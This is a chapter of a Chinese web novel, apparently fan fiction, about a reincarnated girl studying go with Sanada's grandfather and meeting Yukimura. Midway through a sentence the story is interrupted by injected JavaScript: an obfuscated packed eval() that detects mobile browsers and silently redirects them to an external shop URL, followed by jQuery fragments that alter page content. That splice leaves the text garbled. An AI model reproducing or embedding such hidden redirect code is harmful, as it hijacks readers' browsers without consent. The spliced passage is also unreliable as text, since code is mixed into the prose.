孩童的成长总是很快。看着镜中的女孩,彩子得意:“我女儿真好看。”
“因为妈妈你很好看啊。”爱丽也笑。
“嘴甜。”
此时她来到日本已满两年。时针拨动了两圈,再次定格在初夏时节。
受少女杂志和人气偶像的影响,近年来,女孩儿的私服越发色彩鲜艳,装饰感十足,让上辈子穿惯了黑白灰色系的爱丽不太适应。而彩子身为漫画家,时常需要做人物服装参考,东京穿搭月刊从不落下,总觉得女儿穿的寒酸。
于是今天她亲自动手,给女儿搭配了粉上衣、牛仔裙和堆堆袜,还在头发上别了闪亮的小发卡,甜酷风拉满,致力于打造一部行走的时尚圣经。
爱丽:“……”不穿那件印着巨大米老鼠头的T恤,是我最后的坚持。
“路上小心一点哦。”彩子叮嘱。
“知道了。”爱丽亲昵地贴了贴妈妈的脸,有点恍惚。
她曾经也深受家里宠爱,不然也不会从小就上围棋班。
成年人说起小时候上过的兴趣班,抱怨无疾而终的特长时,总归会有些隐秘的情绪:不管怎么说,爸妈愿意投注金钱和关注,送孩子去上课,至少说明了爱和期待。
可惜父母早早离婚,场面闹的太过难堪,连最基本的体面都无法维持。家里的金钱变得紧张起来,于是她主动推掉了围棋班,懂事地说:“妈妈,我不下棋了,得好好读书呢。”
后来,后来母亲早早去世了,未能看到她工作挣钱、日子变好的时候。也幸好去世的早,不会因为这场事故感到心碎。
时空交错后,她再次拥有了“母亲”。
异世界的游魂擅自替代了因发烧夭折的女孩,于是游魂总会因被爱而惴惴难安。
只是相处了两年下来,她开始接受、习惯、回应,并决定替那孩子照顾彩子一生,为她养老送终。
“我出门啦。”
爱丽笑着推门而出。距离最近的车站是‘三番丁目住宅前’,此时她远远望见要乘坐的巴士即将进站,赶紧加快了脚步。
前段时间以首都圈为中心,政府在各城市大力推广交通IC卡,无需接触就能刷,号称Touch & Go,又因发音相似还被人们戏称为西瓜卡。彩子赶时髦买了一张,出门前递给她用。
后世再寻常不过的刷卡支付,现在还是新鲜玩意儿,她上车时,小声提醒前面的人在哪里刷。
摇摇晃晃的巴士太催眠了,迷糊了一会,听到“春日神社前站就要到了”的广播,她猛然清醒过来。女孩迅速按下按钮,同时看了眼手表,确认还没迟到。
那位可是会发脾气的。
不管来几次,爱丽都觉得这个住宅的占地面积十分夸张,简直是个小型的‘武家屋敷’。
在神社前下车,沿着右手边石墙走一段路,就能看到木制大门,是目的地所在。竖长门牌钉在外面的门柱上,真田二字题写其上,是住宅主人亲自写的,看上去书法造诣深厚。
踩着石子路穿过庭院,爱丽来不及欣赏这些漂亮的造景,因为玄右卫门已经坐在檐下,在他们称之为缘侧的地方抬眼望过来,面前摆放棋盘。
她恭敬问好,同时飞快往四周瞥了一眼,失望于某人不在。
要命。弦一郎在就好了,她可以给他使眼色,让他找理由叫自己出去,借机站起来走动,减少跪坐腿麻的次数……反正挨骂的不是她。
“你看白棋接下来该怎么走。”老人道。
“是。”
真田玄右卫门年轻时有“业余豪强”之称,棋力相当不俗,只可惜自家孙子更沉迷网球。将棋学的还有点模样,围棋就不行了,直让他感慨“石头脑袋一个”,深感后继无人。
孙子虽然不中,但结交的好朋友竟然有点棋艺,他大感诧异和振奋。
没接受正统培训的人下出野路数也不奇怪,但她的拆招和应对,却让他嗅出一种还未被完全开发的天赋,一种超越时代的味道。
他自恃身份,必然不可能巴巴凑上去主动要求收徒,对方那个小女孩也笑嘻嘻地不把话说开,只是周周跑来下棋,说是陪他打发时间。
“我白棋碰呢?黑往角内长的话,我小跳,黑跟,我选择粘住,黑这块再走下去子效不高。”
“黑也可以往外长。”
“这里立下呢?黑棋贴住,我扳,这里黑只能打吃一下,不然再被扳会很难受,唔这里我可能会走一个拆二。”
探讨思路,是他们最常见的对话内容之一。
期间,他问她:“免状拿到了?”
“嘿嘿。”从这个月起,她也是有【业余4段】认证的人了。围棋会所里和她相熟的人早就得到了消息,还往家里打电话道一声恭喜呢。
“不要松懈!”老人严厉道,声如洪钟,“最后一场,你的计算深度明明不如对方,收官阶段也太过粗糙散漫,属实赢得有点侥幸,哪能‘算不清就靠感觉冲一个’?想再往上走,算力必须提上去,让你每天做100道死活题,有没有好好执行?”
爱丽被震的发晕,缩头不敢说话。
好在对面没再继续说什么,示意她把手边的古棋谱拿出来打。
虽说围棋原本起源于中国,但爱丽来日本后才发现,从算砂到秀哉,四大家的历史从未断绝,下过的棋谱也被记录完整,即使百年后也能拿出来复现其精妙之处。但中国的古谱,流传下来的少之又少,不免让她心下难过。
她没再说话,脸上隐着一丝怅然。
啪嗒啪嗒落子声中,有两人穿过庭院,朝这边走来。他们背着网球包,看样子刚结束练习。
“祖父,我回来了。”
“您好,打扰了。”另一男孩鞠躬。
站在他旁边,真田弦一郎小小地叹了口气。虽说对方是他的双打搭档,但是私下比赛他输多赢少,真让人郁闷,今天这场也是如此。
“啊,是你。”老人点头笑道,“今天天气炎热,让弦一郎带你去茶间坐,我会安排人准备麦茶和点心。”
几人闲谈中,爱丽屏息把黑白子置于棋谱指示的位置,这才转过身来,朝陌生男孩道:“初次见面,请多关照,我叫铃木。”
真是个漂亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228682|197587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的孩子。她微微出神。
不料对面笑起来,十分温和:“铃木桑,我叫幸村,我在南湘南小学见过你。”
“我去年曾去那里参加过校际围棋赛。”
“铃木桑当时是作为主将出场的吧?”
她点了点头。只可惜他们学校一胜二负,无缘决赛。
谈话就此告一段落,爱丽欠身表示失陪,低头继续未摆完的棋谱,而弦一郎也引导自己的搭档去室内。
“外面这么热,他们不要紧么?”幸村随他进入,好奇询问。
“祖父说‘心静自然凉’。”真田一本正经地重复,觉得这句中国谚语听起来很有文化,很唬人,所以朝自己的朋友小炫耀一下,又忍不住说,“得想个办法让她进来。”
“怎么?”
“那家伙不习惯跪坐太久,等下必然要叫唤的。”仿佛想到什么,他哧哧笑。
好在这次玄右卫门倒是主动下课了,似乎还有电话等着他回复。爱丽获得解放,缓慢挪进来,感觉下半身麻麻赖赖,非常酸爽:“连本因坊战都允许盘腿坐啊。”
她今天打扮得浑身亮晶晶,真田觉得她爬进来时像一条五彩斑斓的蜥蜴。当然,他是不敢对她说这句话的。
“祖父没和你说服装礼仪之类的?”他只是叫道,批判她‘太潮流了’。
“你根本没有审美吧?我可是很酷很时髦的小学生。”她瞪他一眼。当着外人的面,倒没像平常一样立马补充糖分。
幸村托腮坐在对面听两人说话,脸上挂着笑眯眯的表情,一个劲看她,似乎分外好奇。
爱丽理解错了目光含义,得出结论:弦一郎审美不行,他的朋友可能也没什么审美。
幸村只是心想,弦一郎和自己练习时,时不时会提到铃木这个人。不过他当初在南湘南小学见到她,确实是个巧合。
他聪明懂事,深得老师喜欢,那日是代替老师前往赛场,抄录一下比分回去汇报。在“神奈川一校”的指示牌下,他先是瞥到两名垂头丧气的选手,脸上写满失落,又看到还有一名选手对局尚未结束,正低垂着目光,表情不为所动。
她将手指探入罐中,棋子碰撞间发出脆声,犹如玉石相击。
在注定三局两败、无法晋级的结果面前,选择把手上的棋下到胜负分明。
幸村压根不懂围棋,却在举动中感受到棋手的专注和镇定。快结束了吧?他猜测着。她过于淡然,而对面的脸越下越白,落子的动作越来越艰难。
终究是小孩子。
明明他们学校早就确定能成功晋级,但爱丽的对手依然忍不住嚎啕大哭。委屈、高压和深刻的孤独感,让他只能通过眼泪来宣泄情绪。
一时间,幸村听到周围有学生在议论“啊,又(疯了)一个”“能坚持到现在已经很不错了”之类的,爱丽挂起温柔的表情,平静地走流程:“多谢指教。”
背景杂乱,人头攒动,尖锐的哭声止不住,而女孩端坐着笑。
这个场景的冲击力实在是太大了,幸村深深记忆在脑中。他甚至有点肃然起敬,觉得——她好酷耶。